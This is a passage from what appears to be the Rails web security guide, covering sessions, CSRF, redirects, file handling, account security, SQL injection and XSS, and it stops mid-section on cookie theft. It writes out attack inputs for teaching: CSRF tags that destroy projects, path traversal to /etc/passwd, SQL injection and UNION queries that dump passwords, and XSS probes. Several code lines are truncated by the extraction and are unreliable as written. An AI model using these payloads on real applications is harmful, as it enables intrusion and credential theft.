secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Older versions of Rails use CookieStore, which uses secret_token instead

of secret_key_base that is used by EncryptedCookieStore. Read the
upgrade documentation for more information.
If you have received an application where the secret was exposed (e.g. an
application whose source was shared), strongly consider changing the
secret.
2.6 Replay Attacks for CookieStore Sessions
Another sort of attack you have to be aware of when using CookieStore is
the replay attack.
It works like this:
A user receives credits, the amount is stored in a session (which is a
bad idea anyway, but we'll do this for demonstration purposes).
The user buys something.
The new adjusted credit value is stored in the session.
The user takes the cookie from the first step (which they previously
copied) and replaces the current cookie in the browser.
The user has their original credit back.
Including a nonce (a random value) in the session solves replay attacks. A
nonce is valid only once, and the server has to keep track of all the valid
nonces. It gets even more complicated if you have several application
servers (mongrels). Storing nonces in a database table would defeat the
entire purpose of CookieStore (avoiding accessing the database).

The best solution against it is not to store this kind of data in a session, but
in the database. In this case store the credit in the database and the
logged_in_user_id in the session.
2.7 Session Fixation
Apart from stealing a user's session id, the attacker may fix a session id
known to them. This is called session fixation.

This attack focuses on fixing a user's session id known to the attacker, and
forcing the user's browser into using this id. It is therefore not necessary
for the attacker to steal the session id afterwards. Here is how this attack
works:

The attacker creates a valid session id: They load the login page of
the web application where they want to fix the session, and take the
session id in the cookie from the response (see number 1 and 2 in the
image).
They maintain the session by accessing the web application
periodically in order to keep an expiring session alive.
The attacker forces the user's browser into using this session id (see
number 3 in the image). As you may not change a cookie of another
domain (because of the same origin policy), the attacker has to run a
JavaScript from the domain of the target web application. Injecting
the JavaScript code into the application by XSS accomplishes this
attack. Here is an example:

The attacker lures the victim to the infected page with the JavaScript
code. By viewing the page, the victim's browser will change the
session id to the trap session id.
As the new trap session is unused, the web application will require
the user to authenticate.
From now on, the victim and the attacker will co-use the web
application with the same session: The session became valid and the
victim didn't notice the attack.
2.8 Session Fixation - Countermeasures
One line of code will protect you from session fixation.
The most effective countermeasure is to issue a new session identifier and
declare the old one invalid after a successful login. That way, an attacker
cannot use the fixed session identifier. This is a good countermeasure
against session hijacking, as well. Here is how to create a new session in
Rails:
reset_session

If you use the popular Devise gem for user management, it will
automatically expire sessions on sign in and sign out for you. If you roll
your own, remember to expire the session after your sign in action (when
the session is created). This will remove values from the session, therefore
you will have to transfer them to the new session.
Another countermeasure is to save user-specific properties in the session,
verify them every time a request comes in, and deny access, if the
information does not match. Such properties could be the remote IP
address or the user agent (the web browser name), though the latter is less
user-specific. When saving the IP address, you have to bear in mind that
there are Internet service providers or large organizations that put their
users behind proxies. These might change over the course of a session, so
these users will not be able to use your application, or only in a limited
way.
2.9 Session Expiry
Sessions that never expire extend the time-frame for attacks such as crosssite request forgery (CSRF), session hijacking and session fixation.
One possibility is to set the expiry time-stamp of the cookie with the
session id. However the client can edit cookies that are stored in the web
browser so expiring sessions on the server is safer. Here is an example of
how to expire sessions in a database table. Call Session.sweep("20
minutes") to expire sessions that were used longer than 20 minutes ago.

class Session < ApplicationRecord

def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(u
end
delete_all "updated_at < '#{time.ago.to_s(:db)}'"

end
end

The section about session fixation introduced the problem of maintained

sessions. An attacker maintaining a session every five minutes can keep
the session alive forever, although you are expiring sessions. A simple
solution for this would be to add a created_at column to the sessions table.
Now you can delete sessions that were created a long time ago. Use this
line in the sweep method above:
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"

3 Cross-Site Request Forgery (CSRF)

This attack method works by including malicious code or a link in a page
that accesses a web application that the user is believed to have
authenticated. If the session for that web application has not timed out, an
attacker may execute unauthorized commands.

In the session chapter you have learned that most Rails applications use
cookie-based sessions. Either they store the session id in the cookie and
have a server-side session hash, or the entire session hash is on the clientside. In either case the browser will automatically send along the cookie on
every request to a domain, if it can find a cookie for that domain. The

controversial point is that if the request comes from a site of a different

domain, it will also send the cookie. Let's start with an example:
Bob browses a message board and views a post from a hacker where
there is a crafted HTML image element. The element references a
command in Bob's project management application, rather than an
image file: <img
src="http://www.webapp.com/project/1/destroy">
Bob's session at www.webapp.com is still alive, because he didn't log

out a few minutes ago.

By viewing the post, the browser finds an image tag. It tries to load
the suspected image from www.webapp.com. As explained before, it
will also send along the cookie with the valid session id.
The web application at www.webapp.com verifies the user information
in the corresponding session hash and destroys the project with the ID
1. It then returns a result page which is an unexpected result for the
browser, so it will not display the image.
Bob doesn't notice the attack - but a few days later he finds out that
project number one is gone.
It is important to notice that the actual crafted image or link doesn't
necessarily have to be situated in the web application's domain, it can be
anywhere - in a forum, blog post or email.
CSRF appears very rarely in CVE (Common Vulnerabilities and
Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant'
[Grossman]. This is in stark contrast to the results in many security
contract works - CSRF is an important security issue.
3.1 CSRF Countermeasures
First, as is required by the W3C, use GET and POST appropriately.
Secondly, a security token in non-GET requests will protect your
application from CSRF.

The HTTP protocol basically provides two main types of requests - GET
and POST (and more, but they are not supported by most browsers). The
World Wide Web Consortium (W3C) provides a checklist for choosing
HTTP GET or POST:
Use GET if:
The interaction is more like a question (i.e., it is a safe operation such
as a query, read operation, or lookup).
Use POST if:
The interaction is more like an order, or
The interaction changes the state of the resource in a way that the
user would perceive (e.g., a subscription to a service), or
The user is held accountable for the results of the interaction.
If your web application is RESTful, you might be used to additional HTTP
verbs, such as PATCH, PUT or DELETE. Most of today's web browsers,
however, do not support them - only GET and POST. Rails uses a hidden
_method field to handle this barrier.
POST requests can be sent automatically, too. In this example, the link
www.harmless.com is shown as the destination in the browser's status bar.
But it has actually dynamically created a new form that sends a POST
request.
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>

Or the attacker places the code into the onmouseover event handler of an
image:

<img src="http://www.harmless.com/img" width="400" height="400"

There are many other possibilities, like using a <script> tag to make a
cross-site request to a URL with a JSONP or JavaScript response. The
response is executable code that the attacker can find a way to run,
possibly extracting sensitive data. To protect against this data leakage, we
must disallow cross-site <script> tags. Ajax requests, however, obey the
browser's same-origin policy (only your own site is allowed to initiate
XmlHttpRequest) so we can safely allow them to return JavaScript
responses.
Note: We can't distinguish a <script> tag's originwhether it's a tag on
your own site or on some other malicious siteso we must block all
<script> across the board, even if it's actually a safe same-origin script
served from your own site. In these cases, explicitly skip CSRF protection
on actions that serve JavaScript meant for a <script> tag.
To protect against all other forged requests, we introduce a required
security token that our site knows but other sites don't know. We include
the security token in requests and verify it on the server. This is a one-liner
in your application controller, and is the default for newly created rails
applications:
protect_from_forgery with: :exception

This will automatically include a security token in all forms and Ajax
requests generated by Rails. If the security token doesn't match what was
expected, an exception will be thrown.
By default, Rails includes jQuery and an unobtrusive scripting adapter for

jQuery, which adds a header called X-CSRF-Token on every non-GET Ajax

call made by jQuery with the security token. Without this header, nonGET Ajax requests won't be accepted by Rails. When using another library
to make Ajax calls, it is necessary to add the security token as a default
header for Ajax calls in your library. To get the token, have a look at
<meta name='csrf-token' content='THE-TOKEN'> tag printed by <%=
csrf_meta_tags %> in your application view.
It is common to use persistent cookies to store user information, with
cookies.permanent for example. In this case, the cookies will not be
cleared and the out of the box CSRF protection will not be effective. If you
are using a different cookie store than the session for this information, you
must handle what to do with it yourself:

rescue_from ActionController::InvalidAuthenticityToken do |excep

sign_out_user # Example method that will destroy the user cook
end

The above method can be placed in the ApplicationController and will

be called when a CSRF token is not present or is incorrect on a non-GET
request.
Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF
protections. XSS gives the attacker access to all elements on a page, so
they can read the CSRF security token from a form or directly submit the
form. Read more about XSS later.

4 Redirection and Files

Another class of security vulnerabilities surrounds the use of redirection
and files in web applications.
4.1 Redirection
Redirection in a web application is an underestimated cracker tool: Not
only can the attacker forward the user to a trap web site, they may also
create a self-contained attack.
Whenever the user is allowed to pass (parts of) the URL for redirection, it
is possibly vulnerable. The most obvious attack would be to redirect users
to a fake web application which looks and feels exactly as the original one.
This so-called phishing attack works by sending an unsuspicious link in an
email to the users, injecting the link by XSS in the web application or
putting the link into an external site. It is unsuspicious, because the link
starts with the URL to the web application and the URL to the malicious
site is hidden in the redirection parameter:
http://www.example.com/site/redirect?to= www.attacker.com. Here is an
example of a legacy action:
def legacy
redirect_to(params.update(action:'main'))
end

This will redirect the user to the main action if they tried to access a legacy
action. The intention was to preserve the URL parameters to the legacy
action and pass them to the main action. However, it can be exploited by
attacker if they included a host key in the URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.

If it is at the end of the URL it will hardly be noticed and redirects the user
to the attacker.com host. A simple countermeasure would be to include
only the expected parameters in a legacy action (again a whitelist
approach, as opposed to removing unexpected parameters). And if you
redirect to a URL, check it with a whitelist or a regular expression.
4.1.1 Self-contained XSS

Another redirection and self-contained XSS attack works in Firefox and

Opera by the use of the data protocol. This protocol displays its contents
directly in the browser and can be anything from HTML or JavaScript to
entire images:
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

This example is a Base64 encoded JavaScript which displays a simple

message box. In a redirection URL, an attacker could redirect to this URL
with the malicious code in it. As a countermeasure, do not allow the user
to supply (parts of) the URL to be redirected to.
4.2 File Uploads
Make sure file uploads don't overwrite important files, and process media
files asynchronously.
Many web applications allow users to upload files. File names, which the
user may choose (partly), should always be filtered as an attacker could
use a malicious file name to overwrite any file on the server. If you store
file uploads at /var/www/uploads, and the user enters a file name like
"../../../etc/passwd", it may overwrite an important file. Of course, the
Ruby interpreter would need the appropriate permissions to do so - one
more reason to run web servers, database servers and other programs as a
less privileged Unix user.
When filtering user input file names, don't try to remove malicious parts.

Think of a situation where the web application removes all "../" in a file
name and an attacker uses a string such as "....//" - the result will be "../". It
is best to use a whitelist approach, which checks for the validity of a file
name with a set of accepted characters. This is opposed to a blacklist
approach which attempts to remove not allowed characters. In case it isn't
a valid file name, reject it (or replace not accepted characters), but don't
remove them. Here is the file name sanitizer from the attachment_fu
plugin:

def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end

A significant disadvantage of synchronous processing of file uploads (as

the attachment_fu plugin may do with images), is its vulnerability to
denial-of-service attacks. An attacker can synchronously start image file
uploads from many computers which increases the server load and may
eventually crash or stall the server.
The solution to this is best to process media files asynchronously: Save the
media file and schedule a processing request in the database. A second
process will handle the processing of the file in the background.
4.3 Executable Code in File Uploads
Source code in uploaded files may be executed when placed in specific
directories. Do not place file uploads in Rails' /public directory if it is
Apache's home directory.

The popular Apache web server has an option called DocumentRoot. This
is the home directory of the web site, everything in this directory tree will
be served by the web server. If there are files with a certain file name
extension, the code in it will be executed when requested (might require
some options to be set). Examples for this are PHP and CGI files. Now
think of a situation where an attacker uploads a file "file.cgi" with code in
it, which will be executed when someone downloads the file.
If your Apache DocumentRoot points to Rails' /public directory, do not put
file uploads in it, store files at least one level downwards.
4.4 File Downloads
Make sure users cannot download arbitrary files.
Just as you have to filter file names for uploads, you have to do so for
downloads. The send_file() method sends files from the server to the
client. If you use a file name, that the user entered, without filtering, any
file can be downloaded:
send_file('/var/www/uploads/' + params[:filename])

Simply pass a file name like "../../../etc/passwd" to download the server's

basename = File.expand_path(File.join(File.dirname(FILE), '.

filename = File.expand_path(File.join(basename, @file.public_fil
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../.
send_file filename, disposition: 'inline'

Another (additional) approach is to store the file names in the database and
name the files on the disk after the ids in the database. This is also a good

approach to avoid possible code in an uploaded file to be executed. The

attachment_fu plugin does this in a similar way.

5 Intranet and Admin Security

Intranet and administration interfaces are popular attack targets, because
they allow privileged access. Although this would require several extrasecurity measures, the opposite is the case in the real world.
In 2007 there was the first tailor-made trojan which stole information from
an Intranet, namely the "Monster for employers" web site of Monster.com,
an online recruitment web application. Tailor-made Trojans are very rare,
so far, and the risk is quite low, but it is certainly a possibility and an
example of how the security of the client host is important, too. However,
the highest threat to Intranet and Admin applications are XSS and CSRF.
XSS If your application re-displays malicious user input from the extranet,
the application will be vulnerable to XSS. User names, comments, spam
reports, order addresses are just a few uncommon examples, where there
can be XSS.
Having one single place in the admin interface or Intranet, where the input
has not been sanitized, makes the entire application vulnerable. Possible
exploits include stealing the privileged administrator's cookie, injecting an
iframe to steal the administrator's password or installing malicious
software through browser security holes to take over the administrator's
computer.
Refer to the Injection section for countermeasures against XSS. It is
recommended to use the SafeErb plugin also in an Intranet or
administration interface.
CSRF Cross-Site Request Forgery (CSRF), also known as Cross-Site
Reference Forgery (XSRF), is a gigantic attack method, it allows the
attacker to do everything the administrator or Intranet user may do. As you
have already seen above how CSRF works, here are a few examples of
what attackers can do in the Intranet or admin interface.

A real-world example is a router reconfiguration by CSRF. The attackers

sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail
claimed there was an e-card waiting for the user, but it also contained an
image tag that resulted in an HTTP-GET request to reconfigure the user's
router (which is a popular model in Mexico). The request changed the
DNS-settings so that requests to a Mexico-based banking site would be
mapped to the attacker's site. Everyone who accessed the banking site
through that router saw the attacker's fake web site and had their
credentials stolen.
Another example changed Google Adsense's e-mail address and password.
If the victim was logged into Google Adsense, the administration interface
for Google advertisement campaigns, an attacker could change the
credentials of the victim.
Another popular attack is to spam your web application, your blog or
forum to propagate malicious XSS. Of course, the attacker has to know the
URL structure, but most Rails URLs are quite straightforward or they will
be easy to find out, if it is an open-source application's admin interface.
The attacker may even do 1,000 lucky guesses by just including malicious
IMG-tags which try every possible combination.
For countermeasures against CSRF in administration interfaces and
Intranet applications, refer to the countermeasures in the CSRF section.
5.1 Additional Precautions
The common admin interface works like this: it's located at
www.example.com/admin, may be accessed only if the admin flag is set in
the User model, re-displays user input and allows the admin to
delete/add/edit whatever data desired. Here are some thoughts about this:
It is very important to think about the worst case: What if someone
really got hold of your cookies or user credentials. You could

introduce roles for the admin interface to limit the possibilities of the
attacker. Or how about special login credentials for the admin
interface, other than the ones used for the public part of the
application. Or a special password for very serious actions?
Does the admin really have to access the interface from everywhere
in the world? Think about limiting the login to a bunch of source IP
addresses. Examine request.remote_ip to find out about the user's IP
address. This is not bullet-proof, but a great barrier. Remember that
there might be a proxy in use, though.
Put the admin interface to a special sub-domain such as
admin.application.com and make it a separate application with its
own user management. This makes stealing an admin cookie from the
usual domain, www.application.com, impossible. This is because of
the same origin policy in your browser: An injected (XSS) script on
www.application.com may not read the cookie for
admin.application.com and vice-versa.

6 User Management
Almost every web application has to deal with authorization and
authentication. Instead of rolling your own, it is advisable to use common
plug-ins. But keep them up-to-date, too. A few additional precautions can
make your application even more secure.
There are a number of authentication plug-ins for Rails available. Good
ones, such as the popular devise and authlogic, store only encrypted
passwords, not plain-text passwords. In Rails 3.1 you can use the built-in
has_secure_password method which has similar features.
Every new user gets an activation code to activate their account when they
get an e-mail with a link in it. After activating the account, the
activation_code columns will be set to NULL in the database. If someone
requested a URL like these, they would be logged in as the first activated
user found in the database (and chances are that this is the administrator):
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

This is possible because on some servers, this way the parameter id, as in
params[:id], would be nil. However, here is the finder from the activation
action:
User.find_by_activation_code(params[:id])

If the parameter was nil, the resulting SQL query will be

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT

And thus it found the first user in the database, returned it and logged them
in. You can find out more about it in this blog post. It is advisable to

update your plug-ins from time to time. Moreover, you can review your
application to find more flaws like this.
6.1 Brute-Forcing Accounts
Brute-force attacks on accounts are trial and error attacks on the login
credentials. Fend them off with more generic error messages and possibly
require to enter a CAPTCHA.
A list of user names for your web application may be misused to bruteforce the corresponding passwords, because most people don't use
sophisticated passwords. Most passwords are a combination of dictionary
words and possibly numbers. So armed with a list of user names and a
dictionary, an automatic program may find the correct password in a
matter of minutes.
Because of this, most web applications will display a generic error
message "user name or password not correct", if one of these are not
correct. If it said "the user name you entered has not been found", an
attacker could automatically compile a list of user names.
However, what most web application designers neglect, are the forgotpassword pages. These pages often admit that the entered user name or email address has (not) been found. This allows an attacker to compile a list
of user names and brute-force the accounts.
In order to mitigate such attacks, display a generic error message on
forgot-password pages, too. Moreover, you can require to enter a
CAPTCHA after a number of failed logins from a certain IP address. Note,
however, that this is not a bullet-proof solution against automatic
programs, because these programs may change their IP address exactly as
often. However, it raises the barrier of an attack.
6.2 Account Hijacking

Many web applications make it easy to hijack user accounts. Why not be
different and make it more difficult?.
6.2.1 Passwords

Think of a situation where an attacker has stolen a user's session cookie

and thus may co-use the application. If it is easy to change the password,
the attacker will hijack the account with a few clicks. Or if the changepassword form is vulnerable to CSRF, the attacker will be able to change
the victim's password by luring them to a web page where there is a
crafted IMG-tag which does the CSRF. As a countermeasure, make
change-password forms safe against CSRF, of course. And require the
user to enter the old password when changing it.
6.2.2 E-Mail

However, the attacker may also take over the account by changing the email address. After they change it, they will go to the forgotten-password
page and the (possibly new) password will be mailed to the attacker's email address. As a countermeasure require the user to enter the password
when changing the e-mail address, too.
6.2.3 Other

Depending on your web application, there may be more ways to hijack the
user's account. In many cases CSRF and XSS will help to do so. For
example, as in a CSRF vulnerability in Google Mail. In this proof-ofconcept attack, the victim would have been lured to a web site controlled
by the attacker. On that site is a crafted IMG-tag which results in an HTTP
GET request that changes the filter settings of Google Mail. If the victim
was logged in to Google Mail, the attacker would change the filters to
forward all e-mails to their e-mail address. This is nearly as harmful as
hijacking the entire account. As a countermeasure, review your application
logic and eliminate all XSS and CSRF vulnerabilities.

6.3 CAPTCHAs
A CAPTCHA is a challenge-response test to determine that the response is
not generated by a computer. It is often used to protect registration forms
from attackers and comment forms from automatic spam bots by asking
the user to type the letters of a distorted image. This is the positive
CAPTCHA, but there is also the negative CAPTCHA. The idea of a
negative CAPTCHA is not for a user to prove that they are human, but
reveal that a robot is a robot.
A popular positive CAPTCHA API is reCAPTCHA which displays two
distorted images of words from old books. It also adds an angled line,
rather than a distorted background and high levels of warping on the text
as earlier CAPTCHAs did, because the latter were broken. As a bonus,
using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a
Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you
have to put into your Rails environment. After that you can use the
recaptcha_tags method in the view, and the verify_recaptcha method in the
controller. Verify_recaptcha will return false if the validation fails. The
problem with CAPTCHAs is that they have a negative impact on the user
experience. Additionally, some visually impaired users have found certain
kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs
are one of the best methods to prevent all kinds of bots from submitting
forms.
Most bots are really dumb. They crawl the web and put their spam into
every form's field they can find. Negative CAPTCHAs take advantage of
that and include a "honeypot" field in the form which will be hidden from
the human user by CSS or JavaScript.
Note that negative CAPTCHAs are only effective against dumb bots and
won't suffice to protect critical applications from targeted bots. Still, the

negative and positive CAPTCHAs can be combined to increase the

performance, e.g., if the "honeypot" field is not empty (bot detected), you
won't need to verify the positive CAPTCHA, which would require an
HTTPS request to Google ReCaptcha before computing the response.
Here are some ideas how to hide honeypot fields by JavaScript and/or
CSS:
position the fields off of the visible area of the page
make the elements very small or color them the same as the
background of the page
leave the fields displayed, but tell humans to leave them blank
The most simple negative CAPTCHA is one hidden honeypot field. On the
server side, you will check the value of the field: If it contains any text, it
must be a bot. Then, you can either ignore the post or return a positive
result, but not saving the post to the database. This way the bot will be
satisfied and moves on. You can do this with annoying users, too.
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's
blog post:
Include a field with the current UTC time-stamp in it and check it on
the server. If it is too far in the past, or if it is in the future, the form is
invalid.
Randomize the field names
Include more than one honeypot field of all types, including
submission buttons
Note that this protects you only from automatic bots, targeted tailor-made
bots cannot be stopped by this. So negative CAPTCHAs might not be good
to protect login forms.
6.4 Logging

Tell Rails not to put passwords in the log files.

By default, Rails logs all requests being made to the web application. But
log files can be a huge security issue, as they may contain login
credentials, credit card numbers et cetera. When designing a web
application security concept, you should also think about what will happen
if an attacker got (full) access to the web server. Encrypting secrets and
passwords in the database will be quite useless, if the log files list them in
clear text. You can filter certain request parameters from your log files by
appending them to config.filter_parameters in the application
configuration. These parameters will be marked [FILTERED] in the log.
config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular

expression. Rails adds default :password in the appropriate initializer
(initializers/filter_parameter_logging.rb) and cares about typical
application parameters password and password_confirmation.
6.5 Good Passwords
Do you find it hard to remember all your passwords? Don't write them
down, but use the initial letters of each word in an easy to remember
sentence.
Bruce Schneier, a security technologist, has analyzed 34,000 real-world
user names and passwords from the MySpace phishing attack mentioned
below. It turns out that most of the passwords are quite easy to crack. The
20 most common passwords are:
password1, abc123, myspace1, password, blink182, qwerty1, ****you,
123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1,
princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.

It is interesting that only 4% of these passwords were dictionary words and

the great majority is actually alphanumeric. However, password cracker
dictionaries contain a large number of today's passwords, and they try out
all kinds of (alphanumerical) combinations. If an attacker knows your user
name and you use a weak password, your account will be easily cracked.
A good password is a long alphanumeric combination of mixed cases. As
this is quite hard to remember, it is advisable to enter only the first letters
of a sentence that you can easily remember. For example "The quick
brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is
just an example, you should not use well known phrases like these, as they
might appear in cracker dictionaries, too.
6.6 Regular Expressions
A common pitfall in Ruby's regular expressions is to match the string's
beginning and end by ^ and $, instead of \A and \z.
Ruby uses a slightly different approach than many other languages to
match the end and the beginning of a string. That is why even many Ruby
and Rails books get this wrong. So how is this a security threat? Say you
wanted to loosely validate a URL field and you used a simple regular
expression like this:
/^https?:\/\/[^\n]+$/i

This may work fine in some languages. However, in Ruby ^ and $ match
the line beginning and line end. And thus a URL like this passes the filter
without problems:
javascript:exploit_code();/*
http://hi.com
*/

This URL passes the filter because the regular expression matches - the
second line, the rest does not matter. Now imagine we had a view that
showed the URL like this:
link_to "Homepage", @user.homepage

The link looks innocent to visitors, but when it's clicked, it will execute the
JavaScript function "exploit_code" or any other JavaScript the attacker
provides.
To fix the regular expression, \A and \z should be used instead of ^ and $,
like so:
/\Ahttps?:\/\/[^\n]+\z/i

Since this is a frequent mistake, the format validator (validates_format_of)

now raises an exception if the provided regular expression starts with ^ or
ends with $. If you do need to use ^ and $ instead of \A and \z (which is
rare), you can set the :multiline option to true, like so:

# content should include a line "Meanwhile" anywhere in the st

validates :content, format: { with: /^Meanwhile$/, multiline:

Note that this only protects you against the most common mistake when
using the format validator - you always need to keep in mind that ^ and $
match the line beginning and line end in Ruby, and not the beginning and
end of a string.
6.7 Privilege Escalation
Changing a single parameter may give the user unauthorized access.
Remember that every parameter may be changed, no matter how much you
hide or obfuscate it.

The most common parameter that a user might tamper with, is the id
parameter, as in http://www.domain.com/project/1, whereas 1 is the id.
It will be available in params in the controller. There, you will most likely
do something like this:
@project = Project.find(params[:id])

This is alright for some web applications, but certainly not if the user is not
authorized to view all projects. If the user changes the id to 42, and they
are not allowed to see that information, they will have access to it anyway.
Instead, query the user's access rights, too:
@project = @current_user.projects.find(params[:id])

Depending on your web application, there will be many more parameters

the user can tamper with. As a rule of thumb, no user input data is secure,
until proven otherwise, and every parameter from the user is potentially
manipulated.
Don't be fooled by security by obfuscation and JavaScript security. The
Web Developer Toolbar for Mozilla Firefox lets you review and change
every form's hidden fields. JavaScript can be used to validate user input
data, but certainly not to prevent attackers from sending malicious
requests with unexpected values. The Live Http Headers plugin for
Mozilla Firefox logs every request and may repeat and change them. That
is an easy way to bypass any JavaScript validations. And there are even
client-side proxies that allow you to intercept any request and response
from and to the Internet.

7 Injection
Injection is a class of attacks that introduce malicious code or parameters
into a web application in order to run it within its security context.
Prominent examples of injection are cross-site scripting (XSS) and SQL
injection.
Injection is very tricky, because the same code or parameter can be
malicious in one context, but totally harmless in another. A context can be
a scripting, query or programming language, the shell or a Ruby/Rails
method. The following sections will cover all important contexts where
injection attacks may happen. The first section, however, covers an
architectural decision in connection with Injection.
7.1 Whitelists versus Blacklists
When sanitizing, protecting or verifying something, prefer whitelists over
blacklists.
A blacklist can be a list of bad e-mail addresses, non-public actions or bad
HTML tags. This is opposed to a whitelist which lists the good e-mail
addresses, public actions, good HTML tags and so on. Although
sometimes it is not possible to create a whitelist (in a SPAM filter, for
example), prefer to use whitelist approaches:
Use before_action except: [...] instead of only: [...] for securityrelated actions. This way you don't forget to enable security checks
for newly added actions.
Allow <strong> instead of removing <script> against Cross-Site
Scripting (XSS). See below for details.
Don't try to correct user input by blacklists:
This will make the attack work: "<sc<script>ript>".gsub("
<script>", "")
But reject malformed input

Whitelists are also a good approach against the human factor of forgetting
something in the blacklist.
7.2 SQL Injection
Thanks to clever methods, this is hardly a problem in most Rails
applications. However, this is a very devastating and common attack in
web applications, so it is important to understand the problem.
7.2.1 Introduction

SQL injection attacks aim at influencing database queries by manipulating

web application parameters. A popular goal of SQL injection attacks is to
bypass authorization. Another goal is to carry out data manipulation or
reading arbitrary data. Here is an example of how not to use user input
data in a query:
Project.where("name = '#{params[:name]}'")

This could be in a search action and the user may enter a project's name
that they want to find. If a malicious user enters ' OR 1 --, the resulting
SQL query will be:
SELECT * FROM projects WHERE name = '' OR 1 --'

The two dashes start a comment ignoring everything after it. So the query
returns all records from the projects table including those blind to the user.
This is because the condition is true for all records.
7.2.2 Bypassing Authorization

Usually a web application includes access control. The user enters their
login credentials and the web application tries to find the matching record

in the users table. The application grants access when it finds a record.
However, an attacker may possibly bypass this check with SQL injection.
The following shows a typical database query in Rails to find the first
record in the users table which matches the login credentials parameters
supplied by the user.

User.first("login = '#{params[:name]}' AND password = '#{params[

If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the
password, the resulting SQL query will be:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '

This will simply find the first record in the database, and grants access to
this user.
7.2.3 Unauthorized Reading

The UNION statement connects two SQL queries and returns the data in
one set. An attacker can use it to read arbitrary data from the database.
Let's take the example from above:
Project.where("name = '#{params[:name]}'")

And now let's inject another query using the UNION statement:

') UNION SELECT id,login AS name,password AS description,1,1,1 F

This will result in the following SQL query:

SELECT * FROM projects WHERE (name = '') UNION

SELECT id,login AS name,password AS description,1,1,1 FROM use

The result won't be a list of projects (because there is no project with an

empty name), but a list of user names and their password. So hopefully
you encrypted the passwords in the database! The only problem for the
attacker is, that the number of columns has to be the same in both queries.
That's why the second query includes a list of ones (1), which will be
always the value 1, in order to match the number of columns in the first
query.
Also, the second query renames some columns with the AS statement so
that the web application displays the values from the user table. Be sure to
update your Rails to at least 2.1.1.
7.2.4 Countermeasures

Ruby on Rails has a built-in filter for special SQL characters, which will
escape ' , " , NULL character and line breaks. Using Model.find(id) or
Model.find_by_some thing(something) automatically applies this
countermeasure. But in SQL fragments, especially in conditions fragments
(where("...")), the connection.execute() or Model.find_by_sql()
methods, it has to be applied manually.
Instead of passing a string to the conditions option, you can pass an array
to sanitize tainted strings like this:

Model.where("login = ? AND password = ?", entered_user_name, ent

As you can see, the first part of the array is an SQL fragment with question
marks. The sanitized versions of the variables in the second part of the
array replace the question marks. Or you can pass a hash for the same
result:

Model.where(login: entered_user_name, password: entered_password

The array or hash form is only available in model instances. You can try
sanitize_sql() elsewhere. Make it a habit to think about the security
consequences when using an external string in SQL.
7.3 Cross-Site Scripting (XSS)
The most widespread, and one of the most devastating security
vulnerabilities in web applications is XSS. This malicious attack injects
client-side executable code. Rails provides helper methods to fend these
attacks off.
7.3.1 Entry Points

An entry point is a vulnerable URL and its parameters where an attacker

can start an attack.
The most common entry points are message posts, user comments, and
guest books, but project titles, document names and search result pages
have also been vulnerable - just about everywhere where the user can input
data. But the input does not necessarily have to come from input boxes on
web sites, it can be in any URL parameter - obvious, hidden or internal.
Remember that the user may intercept any traffic. Applications, such as
the Live HTTP Headers Firefox plugin, or client-site proxies make it easy
to change requests.
XSS attacks work like this: An attacker injects some code, the web
application saves it and displays it on a page, later presented to a victim.
Most XSS examples simply display an alert box, but it is more powerful
than that. XSS can steal the cookie, hijack the session, redirect the victim
to a fake website, display advertisements for the benefit of the attacker,
change elements on the web site to get confidential information or install
malicious software through security holes in the web browser.
During the second half of 2007, there were 88 vulnerabilities reported in

Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec

Global Internet Security threat report also documented 239 browser plugin vulnerabilities in the last six months of 2007. Mpack is a very active and
up-to-date attack framework which exploits these vulnerabilities. For
criminal hackers, it is very attractive to exploit an SQL-Injection
vulnerability in a web application framework and insert malicious code in
every textual table column. In April 2008 more than 510,000 sites were
hacked like this, among them the British government, United Nations, and
many more high targets.
A relatively new, and unusual, form of entry points are banner
advertisements. In earlier 2008, malicious code appeared in banner ads on
popular sites, such as MySpace and Excite, according to Trend Micro.
7.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side
scripting language JavaScript, often in combination with HTML. Escaping
user input is essential.
Here is the most straightforward test to check for XSS:
<script>alert('Hello');</script>

This JavaScript code will simply display an alert box. The next examples
do exactly the same, only in very uncommon places:
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
7.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can
steal the user's cookie (and thus hijack the user's session). In JavaScript

